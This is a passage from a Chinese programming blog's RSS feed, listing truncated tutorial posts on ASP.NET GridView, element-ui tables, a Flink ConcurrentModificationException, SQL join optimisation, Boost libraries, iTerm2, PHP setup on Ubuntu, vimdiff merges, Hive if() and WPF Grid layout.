      <guid>https://bchobby.github.io/posts/4fd9bcc044948e0d05172c794967ef34/</guid>
      <description>1.GridView显示数据时,我们要控制每列显示的宽度,可是有时候我们发现,它的显示并没有按照我们设置的像素显示,要么有的列变宽了,要么有的列变窄了. GridView是会自动给各列分配宽度像素的,所以,除非你设置的各列宽度刚好等于这个GridView的总宽度,否则它就不会根据你想的来设置各列的宽度. 解决的办法就是,留着最后一列不设置宽度,在设置了其他列宽度的情况下,GridView自然会把所有剩下的宽度像素分配给这个没有设置宽度的列.这样一来,其他的列就是你要的显示宽度了。&#xA;2.&#xA;&amp;lt;asp:BoundField DataField=&#34;Memo&#34; HeaderText=&#34;备注&#34; &amp;gt; &amp;lt;ItemStyle Width=&#34;20%&#34; Wrap=&#34;True&#34; /&amp;gt; &amp;lt;/asp:BoundField&amp;gt; 3.&#xA;&amp;lt;asp:GridView ID=&#34;gv1&#34; runat=&#34;server&#34; AutoGenerateColumns=&#34;false&#34; AllowPaging=&#34;True&#34; BorderColor=&#34;Silver&#34; BorderStyle=&#34;Solid&#34; BorderWidth=&#34;1px&#34; EmptyDataText=&#34;没有数据记录！！&#34; AllowSorting=&#34;True&#34; Height=&#34;200px&#34; Width=&#34;400px&#34;&amp;gt; &amp;lt;Columns&amp;gt; &amp;lt;asp:BoundField DataField=&#34;Work_group_name&#34; FooterText=&#34;信息&#34; HeaderText=&#34;信息2&#34; HtmlEncode=&#34;False&#34; SortExpression=&#34;信息&#34; ItemStyle-Width =&#34;400px&#34;/&amp;gt; &amp;lt;/Columns&amp;gt; &amp;lt;AlternatingRowStyle BackColor=&#34;#E0E0E0&#34; /&amp;gt; &amp;lt;/asp:GridView&amp;gt; 效果图如下：</description>
    </item>
    <item>
      <title>element-ui table 点击某行（修改该行背景色）</title>
      <link>https://bchobby.github.io/posts/6fcc9672963bfc9137e3d9ae0cf8c122/</link>
      <pubDate>Mon, 31 May 2021 21:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fcc9672963bfc9137e3d9ae0cf8c122/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34; style=&#34;width: 100%&#34; :row-class-name=&#34;tableRowClassName&#34; @row-click=&#34;rowClick&#34; :row-style=&#34;selectedstyle&#34; &amp;gt; &amp;lt;el-table-column prop=&#34;date&#34; label=&#34;日期&#34; width=&#34;180&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;姓名&#34; width=&#34;180&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;address&#34; label=&#34;地址&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { getIndex: null, tableData: [ { date: &#34;2016-05-02&#34;, name: &#34;王小虎&#34;, address: &#34;上海市普陀区金沙江路 1518 弄&#34;, }, { date: &#34;2016-05-04&#34;, name: &#34;王小虎&#34;, address: &#34;上海市普陀区金沙江路 1517 弄&#34;, }, { date: &#34;2016-05-01&#34;, name: &#34;王小虎&#34;, address: &#34;上海市普陀区金沙江路 1519 弄&#34;, }, { date: &#34;</description>
    </item>
    <item>
      <title>一个由java.util.ConcurrentModificationException引起的血案</title>
      <link>https://bchobby.github.io/posts/d9abdca57e598dd5aa1a997c74a55200/</link>
      <pubDate>Mon, 31 May 2021 18:51:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9abdca57e598dd5aa1a997c74a55200/</guid>
      <description>线上跑的一个flink任务突然报了异常，话不多，先把异常发出来&#xA;最近在做一个flink项目时遇到了一个线上报错，话不多说，先上代码，其中用到的第三方封装的flink sdk隐去了包前缀，不会影响分析。&#xA;Caused by: java.util.ConcurrentModificationException&#xA;at java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1388)&#xA;at java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:481)&#xA;at java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:471)&#xA;at java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:708)&#xA;at java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)&#xA;at java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:499)&#xA;at com.jd.uifs.operators.JimDBBatchSinkFunction.process(JimDBBatchSinkFunction.java:84)&#xA;at xxx.flink.sdk.batchsink2.AbstractBatchSinkFunction$BatchProcessRunnable.run(AbstractBatchSinkFunction.java:218)&#xA;at xxx.flink.sdk.batchsink2.AbstractBatchSinkFunction.processBatch(AbstractBatchSinkFunction.java:190)&#xA;at xxx.flink.sdk.batchsink2.AbstractBatchSinkFunction.lambda$resetBatch$0(AbstractBatchSinkFunction.java:173)&#xA;at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)&#xA;at java.util.concurrent.FutureTask.run(FutureTask.java:266)&#xA;at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:180)&#xA;at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:293)&#xA;at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xA;at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xA;根据错误的提示，找到BatchSinkFunction的84行，为了方便大家了解上下文，把整段代码贴出来，同时注明84行所在位置&#xA;@Override public void process(List&amp;lt;Tuple3&amp;lt;String, String,String&amp;gt;&amp;gt; inputs, IBatchProcessCallBack callBack) { if(inputs.size() == 0 ) { return; } Map&amp;lt;String,Map&amp;lt;String,Tuple2&amp;lt;Long,Integer&amp;gt;&amp;gt;&amp;gt; map1 = inputs.stream() 84行所在位置 .collect(Collectors.toMap( tuple3 -&amp;gt; (tuple3.f0) ,tuple3 -&amp;gt; { Long timeStamp = LocalDateTime.</description>
    </item>
    <item>
      <title>2021-05-31 sql count(*) join慢查询优化</title>
      <link>https://bchobby.github.io/posts/92c8e1ddbb113984806eed8119b38f53/</link>
      <pubDate>Mon, 31 May 2021 17:21:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92c8e1ddbb113984806eed8119b38f53/</guid>
      <description>同样两张表join，结果也都是三百万量级的，但是为什么A j B 就是10s，B j C就是0.7s呢？&#xA;select count() from A join B on A.id = B.aId;&#xA;select count() from B join C on B.pId = C.pId;&#xA;后面explain 发现他们的rows差别很大，一个是2852831，1；另一个是4613，884；&#xA;所以原因应该就是A- B是一一对应的，表的大小都是三百万，而B- C是多对一关系，C的量级只有5000，所以join起来快很多。核心问题还是join的表大小不同，难怪那么奇怪同样是join差别这么大。&#xA;select count() from A join B on A.id = B.aId join C on B.pId = C.pId;&#xA;这玩意就非常慢，所以根据where条件来决定优化，如果没有需要用到B、C表的where条件，那么由于上述的对应关系，我只需要使用select count() from A (+where xx) 就可以得到结果，这样显然很快，如果有用到B、C表的where条件,那么才全部join起来计算，这时候由于有where筛选所以也会达到可以接受的速度。</description>
    </item>
    <item>
      <title>C&#43;&#43; boost库分类</title>
      <link>https://bchobby.github.io/posts/389152d9e4eac6c639ff07c76167a70f/</link>
      <pubDate>Mon, 31 May 2021 17:14:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/389152d9e4eac6c639ff07c76167a70f/</guid>
      <description> 按照实现的功能，Boost可为大致归入以下20个分类，在下面的分类中，有些库同时归入几种类别。&#xA;文章目录 字符串和文本处理库容器库迭代器库算法库函数对象和高阶编程库泛型编程库模板元编程预处理元编程库并发编程库数学和数字库排错和测试库数据结构库图像处理库输入输出库跨语言混合编程库内存管理库解析库编程接口库综合类库编译器问题的变通方案库 字符串和文本处理库 Conversion库：对C++类型转换的增强，提供更强的类型安全转换、更高效的类型安全保护、进行范围检查的数值转换和词法转换。Format库：实现类似printf的格式化对象，可以把参数格式化到一个字符串，而且是完全类型安全的。IOStream库 ：扩展C++标准库流处理，建立一个流处理框架。Lexical Cast库：用于字符串、整数、浮点数的字面转换。Regex 库：正则表达式，已经被TR1所接受。Spirit库：基于EBNF范式的LL解析器框架String Algo库：一组与字符串相关的算法Tokenizer库：把字符串拆成一组记号的方法Wave库：使用spirit库开发的一个完全符合C/C++标准的预处理器Xpressive 库：无需编译即可使用的正则表达式库 容器库 Array 库：对C语言风格的数组进行包装Bimap 库：双向映射结构库Circular Buffer 库：实现循环缓冲区的数据结构Disjoint Sets库 ：实现不相交集的库Dynamic Bitset 库：支持运行时调整容器大小的位集合GIL 库：通用图像库Graph 库：处理图结构的库ICL 库：区间容器库，处理区间集合和映射Intrusive 库：侵入式容器和算法Multi-Array 库：多维容器Multi-Index 库：实现具有多个STL兼容索引的容器Pointer Container 库：容纳指针的容器Property Map 库：提供键/值映射的属性概念定义Property Tree 库：保存了多个属性值的树形数据结构Unordered 库：散列容器，相当于hash_xxxVariant 库：简单地说，就是持有string, vector等复杂类型的联合体 迭代器库 GIL 库：通用图像库Graph 库：处理图结构的库Iterators 库：为创建新的迭代器提供框架Operators 库：允许用户在自己的类里仅定义少量的操作符，就可方便地自动生成其他操作符重载，而且保证正确的语义实现Tokenizer 库：把字符串拆成一组记号的方法 算法库 Foreach库：容器遍历算法GIL库：通用图像库Graph库：处理图结构的库Min-Max库：可在同一次操作中同时得到最大值和最小值Range库：一组关于范围的概念和实用程序String Algo库：可在不使用正则表达式的情况下处理大多数字符串相关算法操作Utility库：小工具的集合 函数对象和高阶编程库 Bind库：绑定器的泛化，已被收入TR1Function库：实现一个通用的回调机制，已被收入TR1Functional库：适配器的增强版本Functional/Factory库：用于实现静态和动态的工厂模式Functional/Forward库：用于接受任何类型的参数Functional/Hash库：实现了TR1中的散列函数Lambda库：Lambda表达式，即未命名函数Member Function库：是STL中mem_fun和mem_fun_ref的扩展Ref库：包装了对一个对象的引用，已被收入TR1Result Of库：用于确定一个调用表达式的返回类型，已被收入TR1Signals库：实现线程安全的观察者模式Signals2库：基于Signal的另一种实现Utility库：小工具的集合Phoenix库：实现在C++中的函数式编程。 泛型编程库 Call Traits库：封装可能是最好的函数传参方式Concept Check库：用来检查是否符合某个概念Enable If库:允许模板函数或模板类在偏特化时仅针对某些特定类型有效Function Types库：提供对函数、函数指针、函数引用和成员指针等类型进行分类分解和合成的功能GIL库：通用图像库In Place Factory, Typed In Place Factory库：工厂模式的一种实现Operators库：允许用户在自己的类里仅定义少量的操作符，就可方便地自动生成其他操作符重载，而且保证正确的语义实现Property Map库：提供键值映射的属性概念定义Static Assert库：把断言的诊断时刻由运行期提前到编译期，让编译器检查可能发生的错误Type Traits库：在编译时确定类型是否具有某些特征TTI库：实现类型萃取的反射功能。 模板元编程 Fusion库：提供基于tuple的编译期容器和算法MPL库：模板元编程框架Proto库：构建专用领域嵌入式语言Static Assert库：把断言的诊断时刻由运行期提前到编译期，让编译器检查可能发生的错误Type Traits库：在编译时确定类型是否具有某些特征 预处理元编程库 Preprocessors库：提供预处理元编程工具 并发编程库 Asio库：基于操作系统提供的异步机制，采用前摄设计模式实现了可移植的异步IO操作Interprocess库：实现了可移植的进程间通信功能，包括共享内存、内存映射文件、信号量、文件锁、消息队列等MPI库：用于高性能的分布式并行开发Thread库：为C++增加线程处理能力，支持Windows和POSIX线程Context库：提供了在单个线程上的协同式多任务处理的支持。该库可以用于实现用户级的多任务处理的机制，比如说协程coroutines，用户级协作线程或者类似于C#语言中yield关键字的实现。[1]Atomic库：实现C++11样式的atomic&amp;lt;&amp;gt;，提供原子数据类型的支持和对这些原子类型的原子操作的支持。Coroutine库：实现对协程的支持。协程与线程的不同之处在于，协程是基于合作式多任务的，而多线程是基于抢先式多任务的。Lockfree库：提供对无锁数据结构的支持。 数学和数字库 Accumulators库：用于增量计算的累加器的框架Integer库：提供一组有关整数处理的类Interval库：处理区间概念的数学问题Math库：数学领域的模板类和算法Math Common Factor库：用于支持最大公约数和最小公倍数Math Octonion库 ：用于支持八元数Math Quaternion库：用于支持四元数Math/Special Functions库：数学上一些常用的函数Math/Statistical Distributions库：用于单变量统计分布操作Multi-Array库：多维容器Numeric Conversion库：用于安全数字转换的一组函数Operators库：允许用户在自己的类里仅定义少量的操作符，就可方便地自动生成其他操作符重载，而且保证正确的语义实现Random库：专注于伪随机数的实现，有多种算法可以产生高质量的伪随机数Rational库：实现了没有精度损失的有理数uBLAS库：用于线性代数领域的数学库Geometry库：用于解决几何问题的概念、原语和算法。Ratio库：根据C++ 0x标准N2661号建议，实现编译期的分数操作。Multiprecision库：提供比C++内置的整数、分数和浮点数精度更高的多精度数值运算功能。Odeint库：用于求解常微分方程的初值问题。 排错和测试库 Concept Check库 ：用来检查是否符合某个概念Static Assert库 ：把断言的诊断时刻由运行期提前到编译期，让编译器检查可能发生的错误Test库：提供了一个用于单元测试的基于命令行界面的测试套件 数据结构库 Any库：支持对任意类型的值进行类型安全的存取Bimap库：双向映射结构库Compressed Pair库：优化的对pair对象的存储Fusion库：提供基于tuple的编译期容器和算法ICL库：区间容器库，处理区间集合和映射Multi-Index库：为底层的容器提供多个索引Pointer Container库：容纳指针的容器Property Tree库：保存了多个属性值的树形数据结构Tuple库：元组，已被TR1接受Uuid库：用于表示和生成UUIDVariant库：有类别的泛型联合类Heap库：对std::priority_queue扩展，实现优先级队列。Type Erasure: 实现运行时的多态。 图像处理库 GIL库：通用图像库 输入输出库 Assign库：用简洁的语法实现对STL容器赋值或者初始化Format库：实现类似printf的格式化对象，可以把参数格式化到一个字符串，而且是完全类型安全的IO State Savers库：用来保存流的当前状态，自动恢复流的状态等IOStreams库：扩展C++标准库流处理，建立一个流处理框架Program Options库：提供强大的命令行参数处理功能Serialization库：实现C++数据结构的持久化 跨语言混合编程库 Python库：用于实现Python和C++对象的无缝接口和混合编程 内存管理库 Pool库：基于简单分隔存储思想实现了一个快速、紧凑的内存池库Smart Ptr库：智能指针Utility库：小工具的集合 解析库 Spirit库：基于EBNF范式的LL解析器框架 编程接口库 Function库：实现一个通用的回调机制，已被收入TR1Parameter库：提供使用参数名来指定函数参数的机制 综合类库 Compressed Pair库：优化的对pair对象的存储CRC库：实现了循环冗余校验码功能Date Time 库：一个非常全面灵活的日期时间库Exception库：针对标准库中异常类的缺陷进行强化，提供&amp;lt;&amp;lt;操作符重载，可以向异常传入任意数据Filesystem库：可移植的文件系统操作库，可以跨平台操作目录、文件，已被TR2接受Flyweight 库：实现享元模式，享元对象不可修改，只能赋值Lexical Cast 库：用于字符串、整数、浮点数的字面转换Meta State Machine库：用于表示UML2有限状态机的库Numeric Conversion 库：用于安全数字转换的一组函数Optional 库：使用容器的语义，包装了可能产生无效值的对象，实现了未初始化的概念Polygon 库：处理平面多边形的一些算法Program Options库：提供强大的命令行参数处理功能Scope Exit库：使用preprocessor库的预处理技术实现在退出作用域时资源自动释放Statechart库：提供有限自动状态机框架Swap库：为交换两个变量的值提供便捷方法System库：使用轻量级的对象封装操作系统底层的错误代码和错误信息，已被TR2接受Timer库：提供简易的度量时间和进度显示功能，可以用于性能测试等需要计时的任务Tribool库：三态布尔逻辑值，在true和false之外引入indeterminate不确定状态Typeof库：模拟C++0x新增加的typeof和auto关键字，以减轻变量类型声明的工作，简化代码Units库：实现了物理学的量纲处理Utility库：小工具集合Value Initialized库：用于保证变量在声明时被正确初始化Chrono库：实现了C++ 0x标准中N2661号建议[2] 所支持的时间功能。Log库：实现日志功能。Predef库：提供一批统一兼容探测其他宏的预定义宏。[5] 编译器问题的变通方案库 Compatibility库：为不符合标准库要求的环境提供帮助Config库：将程序的编译配置分解为三个部分：平台、编译器和标准库，帮助库开发者解决特定平台特定编译器的兼容问题 </description>
    </item>
    <item>
      <title>python的missing 1 required positional argument: ‘x‘的解决</title>
      <link>https://bchobby.github.io/posts/d0112459d8640e99b355f744b13a5279/</link>
      <pubDate>Mon, 31 May 2021 14:54:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0112459d8640e99b355f744b13a5279/</guid>
      <description>仅作为记录，大佬请跳过。&#xA;先实例化类&#xA;文章目录 问题解决参考 问题 解决 即可。&#xA;参考 传送门</description>
    </item>
    <item>
      <title>iterm2 快捷使用及连接远程服务器</title>
      <link>https://bchobby.github.io/posts/8796d7155afe94fee683cbd36b324614/</link>
      <pubDate>Mon, 31 May 2021 14:19:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8796d7155afe94fee683cbd36b324614/</guid>
      <description>1. iterm2 安装 下载地址：https://iterm2.com/downloads.html&#xA;iTerm2 官网：https://iterm2.com/&#xA;iTerm2 是一款完全免费，专为 Mac OS 用户打造多命令行应用。&#xA;安装完成后，在/bin目录下会多出一个zsh的文件。&#xA;Mac系统默认使用dash作为终端，可以使用命令修改默认使用zsh：chsh -s /bin/zsh&#xA;如果想修改回默认dash，同样使用chsh命令即可：chsh -s /bin/bash&#xA;Zsh 是一款强大的虚拟终端，既是一个系统的虚拟终端，也可以作为一个脚本语言的交互解析器。&#xA;2. iTerm2操作快捷键 command + t：新建窗口 command + d：垂直分屏， command + shift + d：水平分屏。 command + ] 和command + [ 在最近使用的分屏直接切换. command + alt + 方向键：切换到指定位置的分屏。 command + 数字：切换标签页。 command + 方向键：按方向切换标签页。 shift + command + s：保存当前窗口快照。 command + alt + b：快照回放。很有意思的功能，你可以对你的操作根据时间轴进行回放。可以拖动下方的时间轴，也可以按左右方向键 3. Oh My Zsh 介绍 Oh My Zsh 官网：https://ohmyz.</description>
    </item>
    <item>
      <title>Linux（Ubuntu18）安装php环境</title>
      <link>https://bchobby.github.io/posts/0f53ba7e1e84b2269185f31066a1fcec/</link>
      <pubDate>Mon, 31 May 2021 10:58:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f53ba7e1e84b2269185f31066a1fcec/</guid>
      <description> 测试环境为Ubuntu18.04遇到的问题：软件包 php5-mysql/ php5-curl没有可安装候选分析：官网给出的参考命令是安装指定版本php5解决方案：去掉指定版本，直接装最新的。本文安装的是最新版本（目前是php7） 最终版本的安装命令如下，debian系的linux发行版可以直接copy，安装之前最好先sudo apt update更新一下源。&#xA;1 安装 Apache 2 的 PHP 模块以及所有依赖的库 sudo apt install php-common libapache2-mod-php php-cli 2 安装完 PHP 后重启 Apache sudo apt service apache2 restart 3 安装 PHP 的 MySQL 和 cURL 支持 sudo apt install php-mysql php-curl </description>
    </item>
    <item>
      <title>为Element框架的＜el-select/＞组件添加输入校验</title>
      <link>https://bchobby.github.io/posts/80926fb74c258f064f64dcbc498cdf17/</link>
      <pubDate>Mon, 31 May 2021 10:47:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80926fb74c258f064f64dcbc498cdf17/</guid>
      <description> 为Element框架的组件添加输入校验 需求分析：&#xA;&amp;lt;el-select filterable&amp;gt;...&amp;lt;/el-select&amp;gt;组件为可输入搜索字段的选择框，但组件知道的@change事件并不会为输入进行事件触发，但需求需要为其进行输入校验。&#xA;解决方法：&#xA;首先找到组件里面的&amp;lt;input&amp;gt;元素。&#xA;然后为其只读属性设置为false。&#xA;最后为其添加input事件，并设置执行函数。&#xA;代码展示：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;countries-select&#34;&amp;gt; &amp;lt;el-select filterable &amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { mounted() { const countriesSelect = document.querySelector(&#39;.countries-select input&#39;); countriesSelect.readOnly = false; countriesSelect.addEventListener(&#39;input&#39;, (val) =&amp;gt; { if (val.target.value.search(/[^a-zA-Z0-9-_\/ ]/g) !== -1) { val.target.value = val.target.value.substr(0, val.target.value.length - 1); } }) } } &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>vimdiff解决git merge冲突</title>
      <link>https://bchobby.github.io/posts/cd94d1207eb7654c5b5107b7086afbbd/</link>
      <pubDate>Mon, 31 May 2021 09:24:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd94d1207eb7654c5b5107b7086afbbd/</guid>
      <description>GIT 合并时，顺利的话皆大欢喜，如果碰到冲突真是件痛苦的事。本文本描述怎样利用vimdiff这一强大的工具解决冲突。&#xA;配置git 的merge工具 git 配置文件为~/.gitconfig&#xA;执行以下命令：&#xA;git config --global merge.tool vimdiff git config --global merge.conflictstyle diff3 git config --global mergetool.prompt false #让git mergetool不再生成备份文件(*.orig) git config --global mergetool.keepBackup false 解决冲突 git mergetool filename 文件名参数是可选的。如果不传文件名，那么将会自动挨个打开有冲突的文件。界面如下：&#xA;上一层三个小窗口分别对应：&#xA;LOCAL buffer: 当前分支BASE buffer: 两个分支共同祖先，代表两个分支修改前REMOTE buffer: 需要合并到当前分支的分支 下层窗口为：&#xA;MERGED buffer: 合并后的，即有冲突的 vimdiff使用 鼠标移动到MERGED窗口(CTRL-w切换窗口)，&#xA;:diffget REMOTE # 获取REMOTE的修改到MERGED文件, 忽略大小写 :diffg BASE # get from base :diffg LOCAL # get from local 注意：通过diffget只能选取local, base, remote三种的一种，要想都需要3种或者两种，只能通过修改MERGED文件&#xA;修改完成后， 保存</description>
    </item>
    <item>
      <title>大数据之Hive：hive中的if函数</title>
      <link>https://bchobby.github.io/posts/73c75d170400bfb41845066a45b32f3b/</link>
      <pubDate>Mon, 31 May 2021 09:02:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73c75d170400bfb41845066a45b32f3b/</guid>
      <description>目录 1.语法2.基本实例在mysql中在hive中 3.实战3.1:数据准备3.2:需求一：得到临时拉链表 dwd_dim-user_info_his_tmp， 2019-01-023.2:需求二：得到临时拉链表 dwd_dim-user_info_his_tmp， 2019-01-02 1.语法 语法: if(boolean testCondition, T valueTrue, T valueFalseOrNull)&#xA;说明: 当条件testCondition为TRUE时，返回valueTrue；否则返回valueFalseOrNull&#xA;2.基本实例 在mysql中，hive中基本一致&#xA;在mysql中 select source,if(source=&#39;猎聘&#39;,1,2) as flag from t_cal_dowell_resume 在hive中 select a,b,c,if(b=&#39;上帝&#39;,1,2) as bb from tmp.csv_t1 3.实战 3.1:数据准备 表1：拉链表 dwd_dim_user_info_his ，2019-01-01&#xA;用户ID姓名开始时间结束时间1张三2019-01-019999-99-992李四2019-01-019999-99-993王五2019-01-019999-99-99 表2：用户变化表 ods_user_info ，2019-01-02&#xA;用户ID姓名1张三2李小四3王五4赵六5田七 3.2:需求一：得到临时拉链表 dwd_dim-user_info_his_tmp， 2019-01-02 如下图&#xA;用户ID姓名开始时间结束时间1张三2019-01-019999-99-992李四2019-01-012019-01-012李小四2019-01-029999-99-993王五2019-01-019999-99-99 SQL如下：&#xA;select uh.id, uh.name, uh.start_date, if(ui.id is not null and uh.end_date=&#39;9999-99-99&#39;, date_add(ui.dt,-1), uh.end_date) end_date from dwd_dim_user_info_his uh left join ( select * from ods_user_info where dt=&#39;2019-01-02&#39; ) ui on uh.</description>
    </item>
    <item>
      <title>html5在线表格生成器,js简单实现自动生成表格功能示例</title>
      <link>https://bchobby.github.io/posts/a4350048db1d49d00fb1c10092b9c3a6/</link>
      <pubDate>Mon, 31 May 2021 01:03:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4350048db1d49d00fb1c10092b9c3a6/</guid>
      <description>本文实例讲述了js简单实现自动生成表格功能。分享给大家供大家参考，具体如下：&#xA;JS实现自动生成表格&#xA;由于自己的算法8太行，所以只能尽量用简单点的方法实现效果&#xA;下面直接上代码&#xA;姓名年龄身高&#xA;.del{&#xA;cursor: pointer;&#xA;color: blue;&#xA;}&#xA;var tableInfo = [&#xA;{ 姓名: &#39;张三&#39;, 年龄: 20, 身高: 160 },&#xA;{ 姓名: &#39;李四&#39;, 年龄: 18, 身高: 158 },&#xA;{ 姓名: &#39;王二麻子&#39;, 年龄: 19, 身高: 180 },&#xA;{ 姓名: &#39;孙悟空&#39;, 年龄: 100, 身高: 150 },&#xA;{ 姓名: &#39;猪八戒&#39;, 年龄: 100, 身高: 155 },&#xA;{ 姓名: &#39;龟龟&#39;, 年龄: 200, 身高: 0.5 }&#xA;]&#xA;var tr = document.createElement(&#39;tr&#39;);&#xA;var tdName = document.</description>
    </item>
    <item>
      <title>html 生成表单自动合并,使用JavaScript实现动态创建含合并单元格（行）的表单</title>
      <link>https://bchobby.github.io/posts/0523be6671580f267b1a29af831857c8/</link>
      <pubDate>Sun, 30 May 2021 23:47:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0523be6671580f267b1a29af831857c8/</guid>
      <description>基于浏览器展现HTML网页中的表(是指Table)，普遍用于数据展现和录入，其中数据分类又常用合并单元格。&#xA;在HTML DOM中，Table中的行数据是可以通过JavaScript的函数方法insertRow(index)动态增加的，通过insertCell(index)增加单元格。&#xA;其中，比较麻烦的是合并单元格，这里以行合并为例，使用rowspan属性的设置来实现，关键点是insertRow(index)和insertCell(index)中index值，也就是合并单元格的时候，index顺序发生的变化。&#xA;首先，先分析HTML中合并单元格的代码，如下图所示：&#xA;insertCell(index)中index变化规则如下：&#xA;如果当前行前一列(设为第一列)是合并单元格(行)，首先index=0，此行后续的单元格顺序为1，2，…&#xA;后续合并单元格(行)所包含的行，实际是从第二列开始，但是，index是从0开始，以此后续为1，2，…&#xA;insertRow(index)中index变化规则如下：&#xA;index=当前累计增加行数 - 当前合并单元格(行)的rowspan；&#xA;对应代码片段：var rownumfirst = rownum - parseInt(rowspan);&#xA;代码实现效果如下图所示：&#xA;相关简明代码如下所示：&#xA;//显示所有回写数据&#xA;function showAllElem(){&#xA;var ret_json = &#34;&#34;; //定义返回JSON数据字符串&#xA;ret_json =&#34;{\&#34;names\&#34;:\&#34;党风廉政建设责任制民主测评票(班子)\&#34;,\&#34;rvsn_number\&#34;:\&#34;DFLZJS\&#34;,\&#34;tableid\&#34;:\&#34;DFLZJS_BZCP\&#34;,\&#34;level\&#34;:\&#34;2\&#34;,\&#34;firstitems\&#34;:[&#34;;&#xA;ret_json = ret_json + &#34;{\&#34;classa\&#34;:\&#34;加强作风建设的情况\&#34;,\&#34;rowspana\&#34;:\&#34;3\&#34;,\&#34;seconditems\&#34;:[&#34;;&#xA;ret_json = ret_json + &#34;{\&#34;content\&#34;:\&#34;落实中央“八项规定”，杜绝奢侈浪费、公车私用、公款消费的情况情况\&#34;,\&#34;orderby\&#34;:\&#34;1\&#34;,\&#34;datastyle\&#34;:\&#34;0\&#34;},&#34;;&#xA;ret_json = ret_json + &#34;{\&#34;content\&#34;:\&#34;关心员工利益，密切联系群众的情况\&#34;,\&#34;orderby\&#34;:\&#34;2\&#34;,\&#34;datastyle\&#34;:\&#34;0\&#34;},&#34;;&#xA;ret_json = ret_json + &#34;{\&#34;content\&#34;:\&#34;班子团结、相互协作的情况\&#34;,\&#34;orderby\&#34;:\&#34;3\&#34;,\&#34;datastyle\&#34;:\&#34;0\&#34;}&#34;;&#xA;ret_json = ret_json + &#34;]},&#34;;&#xA;ret_json = ret_json + &#34;{\&#34;classa\&#34;:\&#34;廉洁自律的情况\&#34;,\&#34;rowspana\&#34;:\&#34;4\&#34;,\&#34;seconditems\&#34;:[&#34;;&#xA;ret_json = ret_json + &#34;{\&#34;content\&#34;:\&#34;遵守国有企业领导人员廉洁自律若干规定的情况\&#34;,\&#34;orderby\&#34;:\&#34;1\&#34;,\&#34;datastyle\&#34;:\&#34;0\&#34;},&#34;;&#xA;ret_json = ret_json + &#34;</description>
    </item>
    <item>
      <title>WPF编程基础入门 ——— 第三章 布局（七）布局面板Grid</title>
      <link>https://bchobby.github.io/posts/a870524cc5e7fabd8fa2758090613811/</link>
      <pubDate>Sun, 30 May 2021 18:25:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a870524cc5e7fabd8fa2758090613811/</guid>
      <description>WPF布局——布局面板Grid WPF——Grid布局控件Grid简单实例——按钮排列Grid简单实例——登录界面Grid特征——从结构中分离布局Grid特征——尺寸模型Grid特征——共享尺寸组Grid特征——跨越行和列Grid特征——GridSplitter 本章小结 WPF——Grid布局控件 尽管上一篇讲解的UniformGrid能够布局统一单元格，但是很多布局中需要构建单元格大小不等，具有跨越式单元格(Span Cells) 和空白列等功能。而Grid能实现上述这些功能，它是一个使用灵活、能构建复杂UI的布局控件。&#xA;Grid最简单的用法是通过设置RowDefinitions和ColumnDefinitions属性定义单元格的总数。其中，RowDefinitions指行数，ColumnDefinitions指列数。添加子元素时，使用Grid.Row和Grid.Column附加属性设定子元素在单元格中的位置。&#xA;Grid简单实例——按钮排列 此例设计要求：现在使用Grid布局控件来布局6个Button，单元格排列3行2列。&#xA;说了好多实例了，这次总算可以用默认的Grid布局了&#xA;依旧是在解决方案WpfApp3新建项目：命名项目名字GridButton6。&#xA;XAML代码如下：&#xA;&amp;lt;Window x:Class=&#34;GridButton6.MainWindow&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34; xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34; xmlns:mc=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34; xmlns:local=&#34;clr-namespace:GridButton6&#34; mc:Ignorable=&#34;d&#34; Title=&#34;MainWindow&#34; Height=&#34;270&#34; Width=&#34;480&#34;&amp;gt; &amp;lt;Grid Background=&#34;YellowGreen&#34;&amp;gt; &amp;lt;Grid.RowDefinitions&amp;gt; &amp;lt;RowDefinition&amp;gt;&amp;lt;/RowDefinition&amp;gt; &amp;lt;RowDefinition&amp;gt;&amp;lt;/RowDefinition&amp;gt; &amp;lt;RowDefinition&amp;gt;&amp;lt;/RowDefinition&amp;gt; &amp;lt;/Grid.RowDefinitions&amp;gt; 